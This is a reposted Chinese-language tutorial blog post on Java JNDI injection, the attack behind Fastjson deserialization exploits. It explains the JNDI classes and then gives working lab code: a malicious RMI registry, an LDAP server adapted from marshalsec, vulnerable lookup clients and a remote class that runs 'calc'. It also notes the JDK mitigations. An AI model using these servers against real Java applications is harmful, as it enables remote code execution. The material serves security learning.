Java安全之JNDI注入


Java安全之JNDI注入

文章首發:Java安全之JNDI注入

0x00 前言

續上篇文內容,接着來學習JNDI注入相關知識。JNDI注入是Fastjson反序列化漏洞中的攻擊手法之一。

0x01 JNDI

概述

JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標准的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互。目錄服務是命名服務的一種自然擴展。

JNDI(Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,類似JDBC都是構建在抽象層上。現在JNDI已經成為J2EE的標准之一,所有的J2EE容器都必須提供一個JNDI的服務。

JNDI可訪問的現有的目錄及服務有:
DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA對象服務、文件系統、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。

以上是一段百度wiki的描述。簡單點來說就相當於一個索引庫,一個命名服務將對象和名稱聯系在了一起,並且可以通過它們指定的名稱找到相應的對象。從網上文章里面查詢到該作用是可以實現動態加載數據庫配置文件,從而保持數據庫代碼不變動等。

JNDI結構

在Java JDK里面提供了5個包,提供給JNDI的功能實現,分別是:

javax.naming:主要用於命名操作,它包含了命名服務的類和接口,該包定義了Context接口和InitialContext類;

javax.naming.directory:主要用於目錄操作,它定義了DirContext接口和InitialDir- Context類;

javax.naming.event:在命名目錄服務器中請求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允許動態插入不同實現,為不同命名目錄服務供應商的開發人員提供開發和實現的途徑,以便應用程序通過JNDI可以訪問相關服務。

0x02 前置知識

其實在面對一些比較新的知識的時候,個人會去記錄一些新接觸到的東西,例如類的作用。因為在看其他大佬寫的文章上有些在一些前置需要的知識里面沒有去敘述太多,需要自己去查找。對於剛剛接觸到的人來說,還需要去翻閱資料。雖然說在網上都能查到,但是還是會有很多搜索的知識點,需要一個個去進行查找。所以在之類就將一些需要用到的知識點給記錄到這里面。方便理解,也方便自己去進行翻看。

InitialContext類

構造方法:

InitialContext() 
構建一個初始上下文。  
InitialContext(boolean lazy) 
構造一個初始上下文,並選擇不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的環境構建初始上下文。 

代碼:

InitialContext initialContext = new InitialContext();

在這JDK里面給的解釋是構建初始上下文,其實通俗點來講就是獲取初始目錄環境。

常用方法:

bind(Name name, Object obj) 
	將名稱綁定到對象。 
list(String name) 
	枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名。
lookup(String name) 
	檢索命名對象。 
rebind(String name, Object obj) 
	將名稱綁定到對象,覆蓋任何現有綁定。 
unbind(String name) 
	取消綁定命名對象。 

代碼:

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference類

該類也是在javax.naming的一個類,該類表示對在命名/目錄系統外部找到的對象的引用。提供了JNDI中類的引用功能。

構造方法:

Reference(String className) 
	為類名為“className”的對象構造一個新的引用。  
Reference(String className, RefAddr addr) 
	為類名為“className”的對象和地址構造一個新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
	為類名為“className”的對象,對象工廠的類名和位置以及對象的地址構造一個新引用。  
Reference(String className, String factory, String factoryLocation) 
	為類名為“className”的對象以及對象工廠的類名和位置構造一個新引用。  

代碼:

        String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

參數1:className - 遠程加載時所使用的類名

參數2:classFactory - 加載的class中需要實例化類的名稱

參數3:classFactoryLocation - 提供classes數據的地址可以是file/ftp/http協議

常用方法:

void add(int posn, RefAddr addr) 
	將地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
	將地址添加到地址列表的末尾。  
void clear() 
	從此引用中刪除所有地址。  
RefAddr get(int posn) 
	檢索索引posn上的地址。  
RefAddr get(String addrType) 
	檢索地址類型為“addrType”的第一個地址。  
Enumeration<RefAddr> getAll() 
	檢索本參考文獻中地址的列舉。  
String getClassName() 
	檢索引用引用的對象的類名。  
String getFactoryClassLocation() 
	檢索此引用引用的對象的工廠位置。  
String getFactoryClassName() 
	檢索此引用引用對象的工廠的類名。    
Object remove(int posn) 
	從地址列表中刪除索引posn上的地址。  
int size() 
	檢索此引用中的地址數。  
String toString() 
	生成此引用的字符串表示形式。  

代碼:

package com.rmi.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);


    }
}

這里可以看到調用完Reference 后又調用了 ReferenceWrapper將前面的Reference 對象給傳進去,這是為什么呢?

其實查看Reference 就可以知道原因,查看到Reference ,並沒有實現Remote接口也沒有繼承 UnicastRemoteObject類,前面講RMI的時候說過,需要將類注冊到Registry需要實現Remote和繼承UnicastRemoteObject類。這里並沒有看到相關的代碼,所以這里還需要調用 ReferenceWrapper將他給封裝一下。

0x03 JNDI注入攻擊

在敘述JNDI注入前先來看一段源碼。

代碼示例:

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目錄環境的一個引用
        initialContext.lookup(uri);//獲取指定的遠程對象

    }
}

在上面的InitialContext.lookup(uri)的這里,如果說URI可控,那么客戶端就可能會被攻擊。具體的原因下面再去做分析。JNDI可以使用RMI、LDAP來訪問目標服務。在實際運用中也會使用到JNDI注入配合RMI等方式實現攻擊。

JNDI注入+RMI實現攻擊

下面還是來看幾段代碼,來做一個分析具體的攻擊流程。

RMIServer代碼:

package com.rmi.jndi;


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

RMIClient代碼:

package com.rmi.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

下面還需要一段執行命令的代碼,掛載在web頁面上讓server端去請求。

package com.rmi.jndi;

import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");

    }
}

使用javac命令,將該類編譯成class文件掛載在web頁面上。

原理其實就是把惡意的Reference類,綁定在RMI的Registry 里面,在客戶端調用lookup遠程獲取遠程類的時候,就會獲取到Reference對象,獲取到Reference對象后,會去尋找Reference中指定的類,如果查找不到則會在Reference中指定的遠程地址去進行請求,請求到遠程的類后會在本地進行執行。

我在這里其實是執行失敗了,因為在高版本中,系統屬性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false。而在低版本中這幾個選項默認為true,可以遠程加載一些類。

LDAP概念

輕型目錄訪問協議(英文:Lightweight Directory Access Protocol,縮寫:LDAP,/ˈɛldæp/)是一個開放的,中立的,工業標准的應用協議,通過IP協議提供訪問控制和維護分布式信息的目錄信息。

JNDI注入+LDAP實現攻擊

有了前面的案例后,再來看這個其實也比較簡單,之所以JNDI注入會配合LDAP是因為LDAP服務的Reference遠程加載Factory類不受com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制。

啟動一個ldap服務,該代碼由某大佬改自marshalsec。

package com.rmi.rmiclient;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class demo {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

編寫一個client客戶端。

package com.rmi.rmiclient;




import javax.naming.InitialContext;
import javax.naming.NamingException;



public class clientdemo {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}}

編寫一個遠程惡意類,並將其編譯成class文件,放置web頁面中。

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

這里有個坑點,就是惡意的類,不能包含最上面的package信息,否則會調用失敗。下面來啟動一下服務器端,然后啟動客戶端。

在 JDK 8u191 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false。這樣的方式沒法進行利用,但是還是會有繞過方式。在這里不做贅述。

參考文章

https://xz.aliyun.com/t/8214
https://xz.aliyun.com/t/6633
https://xz.aliyun.com/t/7264

在此感謝師傅們的文章,粗略的列了幾個師傅的文章,但不僅限於這些。文中如有一些錯誤的地方,望師傅們指出。

0x04 結尾

其實在這篇文中前前后后也是花費了不少時間,各種坑。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM